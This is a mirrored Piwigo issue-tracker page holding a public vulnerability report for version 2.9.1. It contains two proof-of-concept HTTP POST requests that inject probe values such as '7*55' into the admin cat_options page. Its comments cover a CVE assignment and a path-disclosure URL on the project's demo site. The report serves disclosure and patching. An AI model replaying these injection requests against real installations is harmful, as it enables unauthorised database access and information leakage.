Bug Report: SQL injection in page cat_options #669

New Issue

Closed

opened 2026-10-05 00:10:30 +02:00 by adam · 4 comments

adam commented 2026-10-05 00:10:30 +02:00

Owner

Copy link

Copy source

Proof-of-Concent

version:2.9.1

section status

POST /piwigo/admin.php?page=cat_options&section=status HTTP/1.1
Host: www.test.com
Content-Length: 34
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=status
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080
Connection: close

cat_false%5B%5D=755&trueify=%C2%AB

section commnets

POST /piwigo/admin.php?page=cat_options&section=comments HTTP/1.1
Host: www.test.com
Content-Length: 33
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.test.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=comments
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080
Connection: close

cat_true%5B%5D=7*55&falsify=%C2%BB

Report By Topsec(Li Zhiqiang)

# Proof-of-Concent `version:2.9.1` ## section status ``` POST /piwigo/admin.php?page=cat_options&section=status HTTP/1.1 Host: www.test.com Content-Length: 34 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://www.test.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=status Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080 Connection: close cat_false%5B%5D=755&trueify=%C2%AB ```   ## section commnets ``` POST /piwigo/admin.php?page=cat_options&section=comments HTTP/1.1 Host: www.test.com Content-Length: 33 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://www.test.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://www.test.com/piwigo/admin.php?page=cat_options&section=comments Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: pwg_id=4elnfc2n8r49dpl10dna2t3080 Connection: close cat_true%5B%5D=7*55&falsify=%C2%BB ```  ### Report By Topsec(Li Zhiqiang) <!-- github-sync-id:239368435 -->

adam closed this issue 2026-10-05 00:10:30 +02:00

adam commented 2026-10-05 00:10:31 +02:00

Author

Owner

Copy link

Copy source

Thank you you are still not using of the contact form or emails :/

Thank you you are still not using of the contact form or emails :/ <!-- github-comment-id:311915486 -->

adam commented 2026-10-05 00:10:32 +02:00

Author

Owner

Copy link

Copy source

@flop25 sorry for that and this one probably the last one bug report to piwigo :(
I just want CVE Assignment Team to know the details ,and they will verify this issue whether a bug or no't.
because there also an argument about a bug or no't a bug between Security researcher and Programmer.

In addition there is a infomation leak about system root path when requesting URL:
http://piwigo.org/demo/feed.php?feed=*
check_input_parameter /home/sys/var/www/piwigo.org/demo/feed.php(64)

@flop25 sorry for that and this one probably the last one bug report to piwigo :( I just want CVE Assignment Team to know the details ,and they will verify this issue whether a bug or no't. because there also an argument about a bug or no't a bug between Security researcher and Programmer. In addition there is a infomation leak about system root path when requesting URL: http://piwigo.org/demo/feed.php?feed=* check_input_parameter /home/sys/var/www/piwigo.org/demo/feed.php(64) <!-- github-comment-id:311923089 -->

adam commented 2026-10-05 00:10:32 +02:00

Author

Owner

Copy link

Copy source

CVE-2017-10682 has been assigned for this issue.

CVE-2017-10682 has been assigned for this issue. <!-- github-comment-id:312419103 -->

adam commented 2026-10-05 00:10:33 +02:00

Author

Owner

Copy link

Copy source

@Akityo You can request CVEs without publishing the details in public issue tracker. You can use https://cveform.mitre.org/ and reveal only the needed details. The CVE description can be updated after the CVE assigment if the issue is so critical that you don't want to reveal the info to MITRE before fix. If you need any help or more information feel free to contact me.

@Akityo You can request CVEs without publishing the details in public issue tracker. You can use https://cveform.mitre.org/ and reveal only the needed details. The CVE description can be updated after the CVE assigment if the issue is so critical that you don't want to reveal the info to MITRE before fix. If you need any help or more information feel free to contact me. <!-- github-comment-id:334921485 -->

Sign in to join this conversation.

No Branch/Tag Specified

Branches Tags

master

issue-2560-people

translation

16.x

feat/embedding-based-contextual-tagging

issue-2576-search-include-ai-in-search-results

feat/search-ocr-ai

issue-2391-update-menu-design

15.x

detect-container

issue-2386-update-filters-users-activity

issue-2362-add-filters-options-in-admin

issue-2367-imagemagick7

issue-2225-quicksearch-help

14.x

issue-2164-BatchManagerUnitMode-Redesign

13.x

12.x

issue-1657-SVG_Support

issue-1703-historySearchMethod

11.x

2.10

2.9

2.8

2.7

2.5

2.6

2.4

2.3

2.2

2.1

2.0

1.7

1.3

1.6

1.5

1.4

16.4.0

16.3.0

16.2.0

16.1.0

16.0.0

16.0.0RC3

16.0.0RC2

15.7.0

16.0.0RC1

16.0.0beta1

16.0.0beta2

15.6.0

15.5.0

15.4.0

15.3.0

15.2.0

15.1.0

15.0.0

15.0.0beta3

15.0.0beta2

15.0.0beta1

14.5.0

14.4.0

14.3.0

14.2.0

14.1.0

14.0.0

14.0.0RC2

14.0.0RC1

14.0.0beta3

14.0.0beta2

13.8.0

14.0.0beta1

13.7.0

13.6.0

13.5.0

13.4.0

13.3.0

13.2.0

13.1.0

13.0.0

13.0.0RC4

13.0.0RC3

13.0.0RC2

13.0.0RC1

12.3.0

13.0.0beta2

13.0.0beta1

12.2.0

12.1.0

12.0.0

12.0.0RC2

12.0.0RC1

12.0.0beta2

12.0.0beta1

11.5.0

11.4.0

11.3.0

11.2.0

11.1.0

11.0.0

11.0.0beta5

2.11.0beta4

2.11.0beta3

2.11.0beta2

2.11.0beta1

2.10.2

2.10.1

2.10.0

2.10.0RC1

2.10.0beta2

2.10.0beta1

2.9.5

2.9.4

2.9.3

2.9.2

2.9.1

2.9.0

2.9.0RC2

2.9.0RC1

2.9.0beta2

2.8.6

2.8.5

2.8.4

2.9.0beta1

2.8.3

2.8.2

2.8.1

2.8.0

2.8.0RC2

2.8.0RC1

2.7.4

2.7.3

2.6.5

2.5.6

2.5.5

2.6.4

2.7.2

2.7.1

2.7.0

2.7.0RC2

2.7.0RC1

2.7.0beta2

2.6.3

2.7.0beta1

2.6.2

2.5.4

2.6.1

2.6.0

2.6.0RC2

2.6.0RC1

2.6.0beta2

2.5.3

2.5.2

2.6.0beta1

2.5.1

2.5.0

2.5.0RC2

2.4.7

2.5.0RC1

2.4.6

2.5.0beta3

2.5.0beta2

2.5.0beta1

2.4.5

2.4.4

2.4.3

2.4.2

2.4.1

2.4.0

2.3.5

2.4.0RC3

2.3.4

2.4.0RC2

2.4.0RC1

2.3.3

2.4.0beta2

2.4.0beta1

2.3.2

2.3.1

2.3.0

2.3.0RC2

2.3.0RC1

2.2.5

2.3.0beta3

2.2.4

2.3.0beta2

2.2.3

2.2.2

2.3.0beta1

2.2.1

2.2.0

2.2.0RC4

2.2.0RC3

2.2.0RC2

2.1.6

2.2.0RC1

2.1.5

2.1.4

2.1.3

2.1.2

2.1.1

2.1.0

2.0.10

2.1.0RC3

2.1.0RC2

2.1.0RC1

2.0.9

2.0.8

2.0.7

2.0.6

2.0.5

2.0.4

2.0.3

2.0.2

2.0.1

2.0.0

2.0.0RC4

1.7.3

2.0.0RC3

2.0.0RC2

2.0.0RC1

1.7.2

1.7.1

1.7.0

1.7.0RC2

1.7.0RC1

1.6.2

1.6.1

1.6.0

1.6.0RC2

1.6.0RC1

1.5.2

1.5.1

1.5.0

1.5.0RC2

1.5.0RC1

1.4.1

1.4.0

1.4.0RC3

1.4.0RC2

1.3.4

1.4.0RC1

1.3.3

1.3.2

1.3.1

1.3.0

1.3.0RC2

1.3.0RC1

Labels

No items

No labels

Milestone

No items

No Milestone

Projects

Clear projects

No projects

Assignees

Clear assignees

adam (Adam Wojcieszonek)

No Assignees

1 Participants

Notifications

Subscribe

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: adam/Piwigo#669